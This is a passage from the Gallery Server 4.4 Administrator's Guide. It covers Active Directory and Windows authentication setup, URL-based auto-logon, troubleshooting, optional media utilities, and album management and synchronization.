connectionStringName="GalleryDb" applicationName="Gallery Server" />

</providers>

</roleManager>

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8. OPTIONAL- This step is necessary only when the default IIS application pool identity does not have

permission to read the list of AD accounts. You can skip this step and come back to it if you discover

the gallery is unable to retrieve AD accounts.

Use IIS Manager to configure an IIS application pool to run under an account with permission to read

the list of Active Directory users. Here we created a pool named GalleryActiveDirectoryPool and

configured it to run under the Active Directory account Gsp_ServiceAccount:

Update the gallery web application to use this pool. In IIS Manager, right-click the application in the

left pane and choose Manage Application – Advanced Settings. Select the pool in the Application

Pool setting.

Note: Instead of configuring the application pool to run under an AD account, you can specify an AD

username and password in web.config as shown below. However, this is less secure because the

password for an AD account is stored in plain text in the application.

Gallery Server 4.4 Administrator’s Guide Page 26 of 246

<add name="AspNetActiveDirectoryMembershipProvider"

type="System.Web.Security.ActiveDirectoryMembershipProvider"

connectionStringName="ADConnection" enableSearchMethods="true"

attributeMapUsername="sAMAccountName" applicationName="Gallery Server"

connectionUsername="Administrator" connectionPassword="ThePassword" />

9. Use Windows Explorer to open App_Data\install.txt in a text editor. If the file doesn’t exist, create

an empty text file named install.txt and save it to the App_Data directory. Choose one of your AD

accounts to be a gallery administrator and specify the username. You do not need to specify the

password or domain name.

10. Open the gallery in a web browser. For new galleries, startup code will create the tables in the

database and seed them with data. For new and existing galleries, the startup code will detect

install.txt and configure the specified user as a gallery admin. When finished, the gallery will appear:

Gallery Server 4.4 Administrator’s Guide Page 27 of 246

11. Finished! You can log in as the AD user you specified in the text file. You can use the Manage Users

and Manage Roles pages to configure additional users.

Note: If you followed the recommended advice and configured the gallery to connect to AD using a

read-only account, then the Manage Users page can ONLY be used to update the role memberships of

users. You cannot add or delete AD accounts—you will get a security error if you try. If you specified an

AD account with write permission, then the Manage Users can be used to create and delete AD

accounts, although this is generally not advisable. You should follow existing business practices for

those actions.

TIP: Boost application startup time with ngen.

Note: To integrate with Active Directory groups, follow the instructions in the section Integrate with

AD groups.

Upgrade an AD-enabled gallery from 4.X and 3.X

Upgrading a gallery using Active Directory for membership follows the same process as updating a

regular gallery. Follow the instructions in the section Upgrade from 4.X or Upgrade from 3.X.

Once you have upgraded, follow the security best practice in the next section to enhance the security of

your gallery.

Integrate with AD groups

The AD instructions earlier in this document configured your gallery to use a stand-alone set of roles to

manage gallery access. Instead, you may prefer to configure the gallery to use your Active Directory groups

as the roles. This can reduce administrative effort because you no longer have to use Gallery Server to

manage role membership when you add employees, move them to new departments, or delete AD

accounts.

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For example, you can give the Domain Users group read-only access and the Gallery Server Admins

group administrative access (assuming you have a group named Gallery Server Admins). Gallery Server

automatically recognizes a user’s group membership and gives the user the gallery permissions you’ve

defined for each group.

When you integrate Gallery Server with your AD groups, the roles page shows the groups from Active

Directory:

In this screenshot we see four AD security groups, which all live in the “All Locations” organizational

unit, as seen below in the AD Users and Computers applet. Note that two of the security groups are not

shown because they are in the Longmont OU.

Gallery Server 4.4 Administrator’s Guide Page 29 of 246

Note: The sample AD connection string shown earlier pointed to the Users container. If that’s the

connection string you use in your gallery, then Gallery Server will only use roles defined in that

container. To point to another container or an organization unit, adjust the connection string

accordingly. For example, for the screenshots above we used this connection string to connect to the

All Location OU: “LDAP://192.168.1.200/OU=All Locations,DC=ad,DC=techinfosystems,DC=com”

To set up AD groups integration, we advise that you first set up AD membership. Once that is working,

follow these directions.

1. Use a text editor to open the web.config file found in the root of the gallery.

2. Replace the <roleManager> section with this:

<roleManager enabled="true" cacheRolesInCookie="true" cookieProtection="Validation"

defaultProvider="ActiveDirectoryRoleProvider">

<add name="SqlRoleProvider" type="System.Web.Security.SqlRoleProvider"

connectionStringName="GalleryDb" applicationName="Gallery Server" />

<add name="ActiveDirectoryRoleProvider"

type="GalleryServer.Web.ActiveDirectoryRoleProvider"

connectionStringName="ADConnection"

groupMode="WhiteList"

whiteListGroups="Gallery Server Admins, Gallery Server Users"

Gallery Server 4.4 Administrator’s Guide Page 30 of 246

blackListGroups="Domain Admins,Domain Users,Authenticated Users,Domain Guests,Domain

Computers,Group Policy Creator Owners,Guests,Users,Pre-Windows 2000 Compatible Access,Exchange Domain

Servers,Schema Admins,Enterprise Admins,Cert Publishers,Backup Operators,Account Operators,Server

Operators,Print Operators,Replicator,Domain Controllers,WINS Users,DnsAdmins,DnsUpdateProxy,DHCP

Users,DHCP Administrators,Exchange Services,Exchange Enterprise Servers,Remote Desktop Users,Network

Configuration Operators,Incoming Forest Trust Builders,Performance Monitor Users,Performance Log

Users,Windows Authorization Access Group,Terminal Server License Servers,Distributed COM

Users,Administrators,Everybody,RAS and IAS Servers,MTS Trusted Impersonators,MTS

Impersonators,Everyone,LOCAL,WinRMRemoteWMIUsers__,This Organization,Service asserted identity,Denied RODC

Password Replication Group,High Mandatory Level,Medium Mandatory Level,Allowed RODC Password Replication

Group,Denied RODC Password Replication Group,Cloneable Domain Controllers,Read-only Domain

Controllers,Enterprise Read-only Domain Controllers,Protected Users"

cacheTimeInMinutes="30"

applicationName="Gallery Server" />

</providers>

</roleManager>

3. By default, this configuration is in “WhiteList” mode that explicitly recognizes two AD groups –

Gallery Server Admins and Gallery Server Users. Adjust the attributes as needed for your

organization. Below is the documentation for each attribute.

a. name – Must be ActiveDirectoryRoleProvider

b. type – Must be GalleryServer.Web.ActiveDirectoryRoleProvider

c. connectionStringName – The name of the AD connection string. Must match the connection

string specified in AspNetActiveDirectoryMembershipProvider.

d. groupMode – Must be “WhiteList” or “BlackList”. When it’s in WhiteList mode, only the groups

specified in whiteListGroups are recognized and used in Gallery Server (the blackListGroups

attribute is ignored and can be omitted). When in BlackList mode, all groups are allowed except

for those listed in the blackListGroups attribute.

Note: For performance and security, we recommend WhiteList mode when possible. If you

choose BlackList mode, use care when editing the blacklist groups. Several of them must be

present to prevent errors in the provider. If you encounter errors with additional built-in groups

not listed, consider adding them.

e. cacheTimeInMinutes – The length of time, in minutes, to store AD group data in the web

server’s memory. Since querying AD can be slow, especially in large organizations, Gallery Server

caches results. The cache works on an absolute, not sliding, basis. A value of zero or less

effectively disables the caching.

f. applicationName – The name of the application. Typically, this matches the application name

listed in the membership provider, but it is not required. It is not used in Gallery Server except

as a display value on the Site Settings page.

4. Navigate to the gallery in your browser. You may see a message about how you don’t have access to

any assets. Don’t worry. We’ll deal with this next.

5. Startup code has just created records in the gsp.Role table to match the configured options. For

example, in the default configuration above, Gallery Server will create two rows, one for the Gallery

Server Admins group and one for Gallery Server Users. It will also delete any existing records in this

Gallery Server 4.4 Administrator’s Guide Page 31 of 246

table that don’t match the current role configuration (for example, it will probably delete the

System Administrators role).

6. Choose one of these roles in the table gsp.Role to serve as the gallery administrator. Use SSMS to

configure this role as an administrator. You can use this SQL: UPDATE gsp.Role SET

AllowAdministerSite=1 WHERE RoleName='Gallery Server Admins>' (Replace ‘Gallery Server

Admins’ with the group you chose.)

7. Recycle the application pool. This will force the gallery to reload the gsp.Role table.

8. Log in to the gallery with a user belonging to the group you gave administrative access. Or, if you are

using Windows authentication, log in to the PC with the desired AD account, then navigate to the

gallery. You will have full admin access to the gallery, which will give you the ability to manage other

roles (groups) on the Manage Roles page.

Security Best Practice – Get rid of the AD username and password in web.config

Older versions of Gallery Server may have instructed you to specify an Active Directory account in

web.config with update permission to Active Directory. Open web.config in a text editor and look for a line

like this:

<add name="AspNetActiveDirectoryMembershipProvider"

type="System.Web.Security.ActiveDirectoryMembershipProvider,

System.Web,Version=2.0.0.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"

connectionStringName="ADConnection" enableSearchMethods="true" attributeMapUsername="sAMAccountName"

applicationName="Gallery Server" connectionUsername="Administrator" connectionPassword="ThePassword"

Version 3.1 and higher no longer requires specifying the account in web.config, so we advise that you

remove this information if present. Save your changes and check your gallery, especially the Manage Users

page. If you encounter an error, it is likely because the application pool identity does not have *READ*

permission to the list of AD accounts.

To resolve this, review the section in Install new AD-enabled gallery or convert existing one that contains

instructions for configuring the IIS application pool to run under an account with read permission to AD.

After you make this change, your gallery should be functional and secure.

Note: Technically, if you configure your gallery to run under an account with EDIT permission to the AD

accounts, you can use the Manage Users page to add and delete AD accounts. In rare cases this may be

desirable, but most enterprises have a separate process for these actions, and it is best to stick with

that process. Your gallery and your AD infrastructure are more secure when you run under the

principle of least privilege.

Upgrade an AD-enabled gallery from 2.6

Upgrading a 2.6 gallery that has been integrated into AD is largely the same as upgrading a regular

gallery. The main difference is that we won’t export the membership data in the 2.6 backup file. This is

because the restore process assumes the membership and roles are using the Microsoft ASP.NET Universal

Gallery Server 4.4 Administrator’s Guide Page 32 of 246

Providers, but AD requires the use of the AD Membership provider

(System.Web.Security.ActiveDirectoryMembershipProvider) and the SQL Server role provider

(System.Web.Security.SqlRoleProvider).

1. Make a backup of your database, web files, and (optionally) your media files. You’ll only need them

if the upgrade fails and you need to revert to 2.6.

2. In your 2.6 gallery, go to the backup/restore page. Uncheck the option Export user accounts. Then

create the backup file.

3. In the web.config file, note the AD connection string in the connection strings section. You’ll need

this in a few steps.

4. Delete the gallery web files from your server. DO NOT delete your media files (the ones stored in

gs\mediaobjects by default).

5. Download the 30-day trial or, if you purchased the product, the install package from your account

page. Extract the contents to your web server, in the same location you had 2.6.

6. Open the web.config file in the root of the gallery in a text editor.

a. Add the connection string you noted above to the connectionStrings section. It will look similar

to this:

b. Replace the membership and roleManager sections with the following.

<add name="AspNetActiveDirectoryMembershipProvider"

type="System.Web.Security.ActiveDirectoryMembershipProvider" connectionStringName="ADConnection"

enableSearchMethods="true" attributeMapUsername="sAMAccountName" applicationName="Gallery Server" />

</providers>

</membership>

<roleManager enabled="true" cacheRolesInCookie="true" cookieProtection="Validation"

defaultProvider="SqlRoleProvider">

<add name="SqlRoleProvider" type="System.Web.Security.SqlRoleProvider"

connectionStringName="GalleryDb" applicationName="Gallery Server" />

</providers>

</roleManager>

7. OPTIONAL- This step is necessary only when the default IIS application pool identity does not have

permission to read the list of AD accounts. You can skip this step and come back to it if you discover

the gallery is unable to retrieve AD accounts.

Use IIS Manager to configure an IIS application pool to run under an account with permission to read

the list of Active Directory users. Here we created a pool named GalleryActiveDirectoryPool and

configured it to run under the Active Directory account Gsp_ServiceAccount:

Gallery Server 4.4 Administrator’s Guide Page 33 of 246

Update the gallery web application to use this pool. In IIS Manager, right-click the application in the

left pane and choose Manage Application – Advanced Settings. Select the pool in the Application

Pool setting.

Note: Instead of configuring the application pool to run under an AD account, you can specify an AD

username and password in web.config as shown below. However, this is less secure because the

password for an AD account is stored in plain text in the application.

<add name="AspNetActiveDirectoryMembershipProvider"

type="System.Web.Security.ActiveDirectoryMembershipProvider"

connectionStringName="ADConnection" enableSearchMethods="true"

attributeMapUsername="sAMAccountName" applicationName="Gallery Server"

connectionUsername="Administrator" connectionPassword="ThePassword" />

8. Use Windows Explorer to open App_Data\install.txt in a text editor. If the file doesn’t exist, create

an empty text file named install.txt and save it to the App_Data directory. Choose one of your AD

Gallery Server 4.4 Administrator’s Guide Page 34 of 246

accounts to be a gallery administrator and specify the username. You do not need to specify the

password or domain name.

9. Open default.aspx in a browser. The gallery will detect that the required data structure doesn’t exist

and will automatically create it. It will also configure the AD user as a gallery administrator.

10. Log in to the gallery as an administrator and go to the backup/restore page. Click the restore tab and

upload the backup file you created earlier. Then restore it. For large galleries this can take a few

minutes.

11. Finished! Log back in to the gallery and review your albums and media assets. Also verify the users

and roles have maintained their values from 2.6.

Configure Windows authentication

Gallery Server is typically installed using forms authentication. With forms authentication, users must

manually log in to the gallery with their account name and password.

When a gallery is configured to use Windows authentication, Gallery Server uses the credentials of the

logged on user. In most cases, this means the user can access the gallery without a separate login step. If the

authorization fails or the user is not authenticated on a Windows OS, most browsers prompt the user to

enter a username and password. For example, this is what might happen if a user accesses the gallery from a

mobile phone.

The use of Windows authentication works best in organizations where users log in to their computers

with a centralized identity provider such as Active Directory.

Follow these steps to convert an existing forms-authenticated gallery to one that uses Windows

authentication.

1. In IIS Manager, navigate to your gallery and open the Authentication settings.

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2. Disable Anonymous Authentication and Forms Authentication. Enable Windows Authentication.

3. Click the Back button to return to the main page for your web application. Open the .NET

Authorization Rules settings.

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4. In the right pane, click Add Deny Rule… and select All anonymous users. Click OK.

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Note: The above steps make a couple changes to the web.config file in the gallery web application. You

could have edited the file directly to make these changes:

• Change <authentication mode="Forms"> to <authentication mode="Windows">.

• Add <authorization><deny users="?" /></authorization> to <system.web>.

5. At this point the gallery is configured for Windows authentication. Navigate to your gallery.

Depending on your network configuration, you may be prompted to enter the account name and

password. (For example, this will happen if Intranet Settings are disabled in Internet Explorer.)

6. If this is the first time logging in to the gallery using your Windows account, you may get a message

about not having access to any albums, you may have read-only access but not administrative

access, or you may end up with a bunch of redirects that end up in a browser error. Regardless, the

solution is to tell Gallery Server your Windows account should be a site administrator.

Use File Explorer to create an empty text file named install.txt in the App_Data directory. Open it in

a text editor and type UserName=XXXXXXX, where XXXXXXX is the name of your Windows account.

Gallery Server 4.4 Administrator’s Guide Page 38 of 246

You do not need to specify the domain name (for an AD account) or machine name (for a local

account).

Note: If you are using any membership provider other than Active Directory, the text file must also

include a second line with “Password=XXXXX”. The actual password you specify can be anything and

does not need to match the account password.

7. Recycle the application pool and navigate to the gallery in your browser. Gallery Server will detect

the file and configure the specified account as an administrator. The file will be automatically

deleted once it is processed. You should now be able to access the gallery as an administrator using

your Windows account.

Note: If using Windows authentication with local accounts, you are probably using the default

membership provider. In this case, you’ll need to add each account to the gallery on the Users page

before the user will be able to access the gallery. If you don’t, the user will see a browser error about

too many redirects.

URL-based automatic logon

Gallery Server supports automatically authenticating a user when the account name is specified in the

URL. For example, one can authenticate as user Vino with the URL http://site.com/?user=Vino. No username

or password is necessary.

This can be useful in a number of scenarios:

• Share access to your gallery – or a subset of your gallery such as a single album – with a convenient

link. For example, create a user named EuropeanVacation and give it read access to your album of

vacation photos. Then give your friends the link http://site.com/?user=EuropeanVacation. All they

will see are the media assets that user has access to.

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• You want to give users access to a task that requires them to be logged on but you don’t want to

give them a username and password. For example, say you have a public website that asks users to

submit photos for a contest. Gallery Server requires users to be logged on to access the upload

page, so you create an account named PhotoContestSubmitter and put it in a role with upload

permissions to a particular album. Then, on your website, you create a link to the upload page like

this: http://site.com/?user=PhotoContestSubmitter. Users will be able to upload photos without

going through a logon page.

• Show various, filtered views of your gallery. For example, say you have a website containing a gallery

of thousands of clock photos and you want to make it easy for your users to browse different

categories. You can create a user to represent each category and give it access to the albums in that

category. Your website can present each category as a custom link. See wp.clockdoc.org for an

example of a website that does this.

Note: This approach has a similar effect as setting up multiple galleries but has the advantage

of working in all editions of Gallery Server and sharing the configuration settings of a single

gallery.

This feature is not enabled by default. To turn it on, add an application setting to web.config:

</appSettings>

…

In this example, only the users Vino and Mateo can be auto-logged on. We refer to this as a whitelist

approach, since only users explicitly listed can log on.

This feature also supports a blacklist mode, where all users are allowed except for those explicitly

specified. The syntax looks like this:

</appSettings>

…

Use the asterisk to specify that all users are allowed, then enter a comma-separated list of usernames

with a preceding hyphen (-). In the above example, all users can be auto-logged on except for Admin and

Manager.

Note: Use caution with this feature, since anyone with the URL can carry out any action that user has

permission to perform. It’s probably not a good idea, for example, to configure the administrator

account for auto-logon access.

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Boost application startup performance with ngen

NOTE: The performance tip in this section requires administrative access to the web server. This is

often not possible in hosted environments, so if this is your situation you won’t be able to take

advantage. Bummer.

Gallery Server uses Entity Framework 6.1, which requires distributing the Entity Framework DLL with the

application instead of assuming its present in the .NET Framework. This offers many benefits, but one

downside is that .NET must JIT-compile the EF assembly during application startup, causing a delay of a

second or so.

To eliminate this delay, you can create a native image for the EF assembly. And if you’re going to do this,

you may as well make native images of a couple other assemblies as well. Open a command prompt with

admin privileges in the bin directory of your gallery application, then run each of the following statements

one at a time. More info at http://msdn.microsoft.com/en-US/data/dn582034.

%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ngen install EntityFramework.dll

%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ngen install EntityFramework.SqlServer.dll

%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ngen install EntityFramework.SqlServerCompact.dll

%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ngen install EntityFramework.dll

%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ngen install EntityFramework.SqlServer.dll

%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ngen install EntityFramework.SqlServerCompact.dll

Troubleshooting the installation or upgrade

Enable detailed error messages

You may get this generic error message:

“An error occurred. We are sorry, but Gallery Server encountered an error. It has been logged and, if

error reporting is enabled, an email describing the problem has been sent to the administrator.”

To see the detailed error message, temporarily make these two changes to cause detailed messages to

be rendered in the browser: (1) Set customErrors=”Off” in web.config (2) Set debug=”true” in web.config.

You may also find clues by reviewing the event logs. Gallery Server maintains an event log accessible on

the Admin ribbon tab. There is another one maintained by your operating system and accessible from the

Server Manager.

UI templates not updated after upgrade

During an upgrade one or more UI templates are usually updated, including any custom variants you

created. The updates are done by doing a search and replace on the relevant section in each template. If you

edited these sections, the search and replace may not correctly work. If you suspect this happened, copy the

HTML and JavaScript from the default templates in Gallery Server, then re-apply your customization.

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NOTE: Upgrading from 3.X requires re-applying your UI template customizations. Review Upgrading

from 2.X or 3.X for more information.

Insufficient NTFS permissions

The IIS application pool identity needs read access to all files in the web application directory. In

addition, it needs modify permission to the App_Data, gs\mediaobjects, and gs\skins directories. If you are

not sure how to do this, read the section Configuring NTFS Permissions in Microsoft Windows.

SQL Server connection issues

There are many reasons why a web application cannot connect to SQL Server:

• Incorrect username/password

• The server name is not entered correctly

• SQL Server was installed with Windows-only authentication and you are specifying a SQL login

• You are specifying Windows authentication and the IIS application pool identity has not been added

to SQL Server

• A firewall is blocking communication

• SQL Server service is not running

• SQL Server requires a password change before giving a user access

• One or more required protocols are disabled

SQL Server connection issues are commonly discussed on the internet, so perform a web search with the

specific error message to learn about the possible causes. Since this is most likely not a problem with Gallery

Server, we respectfully ask that you try to resolve the problem on your own rather than submitting a

question in the forum. This type of issue is difficult for an outside person to resolve (it is hard enough for the

“inside” person).

If you continue to have trouble, consider purchasing installation services or using SQL CE, which is easier

to use for many people.

SQL CE corruption

In rare cases, corruption may occur in the SQL CE database. You can force a compact and repair

operation on the database by adding an application setting to web.config:

</appSettings>

…

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When this setting is detected, the compact and repair operation automatically runs during application

initialization. The setting has no effect when SQL Server is being used.

Account names with backslashes

Gallery Server 3 and earlier supported account names with backslashes in them (e.g. “Vino\Ramedy”). In

Gallery Server 4, we introduced support for Windows Authentication. This requires parsing the domain

name or machine name from the Windows-supplied account name. The parsing routine will cause incorrect

behavior if you are using forms authentication (the only kind supported in 3.X) and one or more of your

users has a backslash in their account name.

We believe it is rare for an organization to use a backslash in the account name, but just in case, we

provided an application setting that reverts to the 3.X behavior. Add an application setting to web.config:

</appSettings>

…

Note: You do not need this setting if you are using the new Windows Authentication support, are

integrated with Active Directory or none of your account names have backslashes.

Uninstalling Gallery Server

To uninstall Gallery Server, delete the web application files and the database. You may also want to use

IIS Manager to delete the application instance.

Note: Use caution when deleting the gs\mediaobjects directory, since it may contain media files you

want to keep!

Install the Gallery Server Binary Pack

The Gallery Server Binary Pack is a free collection of open source utilities. They supercharge your gallery,

giving it the ability to generate thumbnails from videos, create web-optimized versions of video and audio

files, and provides enhanced image processing for a variety of files (txt, tiff, cr2, nef, pdf, eps, psd, and

more).

Download it on this page.

The Binary Pack contains three open source components:

ImageMagick – Provides the ability to process RAW images from Canon and Nikon (cr2 and nef) and

create thumbnail images from eps, psd, txt, and pdf files. It requires GhostScript to provide the eps and pdf

support.

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How to install: Execute the setup program on the web server, making sure to select the option to

install legacy utilities.

** IMPORTANT ** You must select the option "Install legacy utilities (e.g. convert)" in the install

wizard. This tells the installer to copy convert.exe to the installation folder, which Gallery Server

requires.

Go to Site Settings in your gallery (admin tab) and update the ImageMagick path to your installation. It

will look something like this: "C:\Program Files\ImageMagick-7.0.5-Q16".

NOTE: If you are using a hosting provider and can’t install an application on the server, you can

achieve some of the benefits by copying convert.exe to the bin directory. You won’t get RAW image

processing but can still get thumbnail image support for other file types.

GhostScript – GhostScript knows about the internal format of eps and pdf files.

How to install: Execute the setup program on the web server.

FFmpeg – Creates web-optimized videos and thumbnail images from video files.

How to install: Copy ffmpeg.exe to the bin directory.

Installing these utilities is optional. When present, Gallery Server takes advantage of them. When not

installed, it provides graceful fallback behavior.

Feel free to grab these utilities straight from their home pages. We put together the Binary Pack as a

convenience for you, but they are the same versions you would get from their official pages. Note that if you

install a newer version that what is in the Binary Pack, we likely haven’t tested it and cannot guarantee it will

be compatible.

3. Running Gallery Server

Navigating the gallery

The first time you run Gallery Server while logged in as an administrator, it will look similar to this:

Gallery Server 4.4 Administrator’s Guide Page 44 of 246

The ribbon toolbar gives you access to most of the functionality in Gallery Server. Any function the

logged on user does not have permission to execute is disabled or hidden.

TIP: Collapse the ribbon toolbar by clicking any of the headers. Click again to expand it.

There is a header section followed by a 3-pane, resizable content area. The center pane shows

thumbnail previews for the contents of the current album. In the above screen shot, there is a single album

named Samples. Click the image to go to that album. When an album displays media assets, click the

thumbnail image to see a larger version, as shown below.

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Add albums and media assets

You can add media files to the root album or any child album. Choose Add media from the Manage

toolbar tab to add one or more media files. Choose New album to create a new album.

By default, only JPG and JPEG media files can be added to the gallery. This can be changed on the File

Types page on the Settings tab.

There are several ways to add large numbers of albums and media assets in a single operation. Read the

section Working with Media Assets for details.

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Edit the albums and media assets

Explore the UI to discover the various ways you can customize the albums and media assets. Later

sections will dig into the details, but if you poke around you’ll find you can edit properties, change the

sorting, rotate assets, move and copy items, and more.

Tooltips and an intuitive interface guide you through the changes, and in most cases you won’t even

need to read this guide. However, as you become an expert with your gallery, you may want to review this

document to learn about more advanced topics.

4. Working with Albums

Overview of albums

Gallery Server stores media assets in albums, and each album holds zero or more media assets and/or

child albums. This is similar to how Windows stores directories and files. In fact, Gallery Server stores albums

as directories in the file system, and media assets are stored as files (which makes sense, since they are

files.)

Gallery Server starts with one album that serves as a container for all other albums. This top-level

album is called the root album and by default is named All albums. This album – and the directory it points

to – is never deleted. Media assets and albums are added to the root album. In turn, each child album can

store additional media assets and/or child albums.

There is no limit to the number of media assets and albums one can store, except the limit presented by

hard drive space limitations and the operating system for maximum file path length. That is, since some

versions of Windows have a maximum file path length of 260 characters, the full path to the album

(directory) must be less than this limit.

Album visibility and security

By default, albums are visible and read only to users who are not logged on (i.e. anonymous users).

When logged on, the user’s role membership defines whether a user can view or manage an album.

When a user doesn’t have access to an album, they don’t appear in the browser, don’t appear in search

results, and cannot be navigated to via URL. From the user’s perspective, it’s as if the album doesn’t exist.

There are a number of ways to manage the security access to an album. Your requirements will dictate

which one, or a combination, is best. Let’s briefly look at the various approaches. Later we’ll take a closer

look at each one.

Restrict access to logged on users – Disable anonymous access to require all users to log on, even if they are

just viewing assets.

Private album – Hide an individual album from anonymous users by marking it as private. Users who are

logged in can see private albums if they belong to a role with view permission to that album.

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User/role membership – Roles define the access to one or more albums. Logged on users belong to zero or

more roles. This gives you the finest level of control and is generally the most popular way to manage

security in the gallery. The other techniques listed below are simply abstractions of the user/role

membership. Note that roles are relevant only to logged on users; anonymous users do not belong to any

roles and cannot be assigned a role.

Album ownership – Specify an account to act as an album’s owner and that user has full editing access to

that album and its child albums. One downside to this feature is that only one account can be an owner of

an album. If you want to give multiple people edit permission to an album, use user/role membership.

User albums – Each user is given an auto-created album they manage.

SECURITY WARNING: If your media assets directory is within the web application (which is the default),

then users can bypass security by guessing the URLs to a media asset (e.g.

http://www.site.com/gallery/gs/mediaobjects/photo.jpg). If you wish to prevent this, move the

directory outside the web application so that IIS will not serve requests to the objects. Information

about changing the media assets directory is in the Media asset storage section.

Create an album

An album is a container that holds one or more media assets and/or child albums. Upon installation

Gallery Server has one album named All albums.

To create a new album, select New album from the Manage ribbon toolbar menu. Then enter the name

of the album and press enter or tab.

Album properties

Albums, just like media assets, have properties. The default settings allow one to assign a title, caption,

tags and people in the right pane.

Albums also have a couple unique properties that media assets do not have:

• Owner – Specify an account that has full edit permission to the album. See Album ownership.

• Private – Hide an album from anonymous users. See Private albums.

You must be logged in under an account with ‘edit album’ permission to change these properties.

Anonymous users and users with read-only permission won’t see some settings or they will be read only.

There are a number of settings and capabilities that customize the look, feel, and behavior of property

editing, including the ability to create custom properties unique to your organization. See Metadata

Settings.

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Editing album and asset properties

Most properties for albums and media assets are edited in the right pane. The right pane shows the

properties for the asset that is currently shown or selected in the center pane. For example, when you first

navigate to an album, the right pane shows the album’s properties.

Select one or more thumbnails by clicking in the area between the thumbnail image and the outside

border. You can also drag-select or CTRL-select multiple thumbnails. Edit a property by clicking it in the right

pane. For example, here we are adding a caption to a photo:

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TIME SAVING TIP! If you select multiple thumbnail images, you can apply a property to several items at

once. For example, quickly tag all images by highlighting them with the mouse and then typing the tag

in the right pane.

Album titles & directory names

Album titles are unique because they are synchronized to the name of the corresponding directory on

the disk. When an album’s title is changed, Gallery Server modifies the name of the directory for that album

to match the title.

This is all well and good, but this can cause a problem. Most Windows operating systems cannot handle

a directory path longer than 255 characters. Since an album title in Gallery Server may be longer than that,

one could easily reach this limitation. To help prevent this, Gallery Server only uses the first twenty-five

characters of the title for the directory name. As a result, you will notice an album with the title “This is a

long title for an album” has a directory with the name “This is a long title for ”.

Note: When a gallery is configured as read-only, Gallery Server never changes the files or directory

names.

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You might want to change this behavior. For example, you may have all your photos in a directory

structure with lots of long names, and you don’t want Gallery Server truncating them when you edit the

album’s title. There are two settings available to modify this behavior:

Synchronize directory names with album titles – Indicates whether to update the directory name

corresponding to an album when the album's title is changed. The default value is true. Setting it to false

tells Gallery Server to never alter the directory name. The only exception to this is when Gallery Server has

to slightly tweak the name of a directory to prevent a naming conflict. For example, this may happen if you

move or copy an album into a directory containing another album with the same name. Adjust this setting

on the Media settings page.

Default Album Directory Name Length – Gallery Server will truncate directory names longer than this value.

The default value is 25, but it can be any value from 1 to 255. This setting is not exposed in the UI. To change

it, look in the table GallerySetting and adjust it there (it’s the record where

SettingName=’DefaultAlbumDirectoryNameLength’).

Move or copy an album

See Move or copy albums and media assets.

Delete an album

See Delete albums and media assets.

Assign album thumbnail

Each album has an album thumbnail image. In the screen shot below, there are two albums and two

images. The images shown for the two albums are the thumbnail images for that album.

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By default, the first media asset added to an album is used as the thumbnail image for the album.

However, you can choose any media asset in the album. To designate an album’s thumbnail image, use the

Thumbnail button on the Manage ribbon tab.

If the asset currently set as the thumbnail image for an album is deleted, Gallery Server automatically

chooses the next media asset in the album as the thumbnail image. If no image is available (because the

album is empty), a default image is used. The format and text displayed on the default image can be

specified on the Albums Settings page.

Synchronize an album

Gallery Server maintains two related sets of data – the physical media files and directories, which are

stored in a UNC-accessible location, and metadata about those files and directories, which are stored in the

database. If the two sets of data ever get out of sync, you can synchronize the database with the media files

to restore data integrity.

You can also synchronize when you want to add a large number of albums and media assets. This can be

done as a one-time operation when you first set up your gallery or as frequently as you wish. It is common

for some organizations to have one process for moving files to the media repository directory, then use the

synchronization feature in Gallery Server to expose those assets in the gallery.

When should you synchronize? You might want to synchronize when:

• You installed Gallery Server and are setting up the gallery for the first time.

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• You downloaded photos or videos from your digital camera and want to quickly add them to

Gallery Server. You could ZIP them up and use the Add media menu command, but some people

find it easier to copy the media files to the web server and then synchronize.

• You have a read-only gallery and want to add or remove media assets and albums.

• You prefer using FTP to transfer files to the web server. FTP is generally more reliable than HTTP

when dealing with large files.

• You added, moved, copied, or deleted images using Windows Explorer instead of the Gallery

Server interface, causing the database to become out of sync with the media files on the web

server's hard drive.

• You used a third party program like Photoshop to alter one or more images, and you want Gallery

Server to recreate the thumbnail and compressed images.

In simple terms, the synchronization procedure updates the Gallery Server database with information

about the media files and makes sure the media files have valid thumbnail and web-optimized versions.

Remember that the files themselves are not stored in the database; only metadata about them (size, width,

height, etc.)

Synchronizing also sorts each album and ensures it has a valid album thumbnail image.

You can synchronize an album, an album and all child albums, or the entire gallery. Follow these steps to

synchronize.

1. Using an FTP program or File Explorer, move or copy the media files you want to add to the media

repository directory. By default, this is a directory named gs\mediaobjects\ in the gallery web

application, but you can change this on the Media Settings page. You may create child directories to

store your media files. During the synchronization any directories are exposed as albums in the

gallery.

2. With your web browser, navigate to the album containing the new media files. Click the Sync button

on the Manage ribbon tab. Three options are displayed:

Include child directories (recursive) – When checked, any albums within this album are also

synchronized. Recently added directories are added to the gallery as new albums. If the current

album does not contain any child albums, this setting has no effect.

Rebuild thumbnail images – When checked, new thumbnail images are created when you

synchronize the database. The thumbnails are created from the original media asset. If unchecked, a

new thumbnail is created only if it doesn't exist. Synchronizing the database will run faster if you

leave this option unchecked.

Rebuild optimized versions – When checked, new web-optimized assets are created when you

synchronize the database. These files are created from the original image. If unchecked, new web-

optimized files are created only if they don’t exist. Synchronizing the database will run faster if you

leave this option unchecked.

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NOTE: Compressed versions of images will exist only for images whose file size is larger than the

Compression limit or whose longest side is larger than the Compressed image length. More

information about these settings can be found in Image Settings.

3. When you have selected the desired options, click Synchronize. The synchronization will begin and

its status will be continuously updated.

NOTE: You can click Cancel to stop a synchronization, but be aware this can cause the database to

become out of sync with the media files on the hard drive. If you discover issues after cancelling, start

another synchronization and allow it to finish.

Some additional points to remember about synchronizing:

Note: The properties mentioned below in bold can be found on the Media Settings page (i.e. original

file storage location, thumbnail image storage location, and web-optimized storage location)

• Gallery Server will ignore any file whose extension is not enabled on the File Types page. It also

ignores hidden files, even if they are an enabled file type.

• Gallery Server ignores any directory it does not have permission to access. This can be used to

selectively hide directories from the gallery.

• Gallery Server NEVER modifies or deletes the original media files during synchronizing. (Rotating,

flipping and writing metadata are the only functions in Gallery Server that modify the original media

file, and that applies only to images and videos.)

• Gallery Server searches for media files only in the directory corresponding to the specified album. If

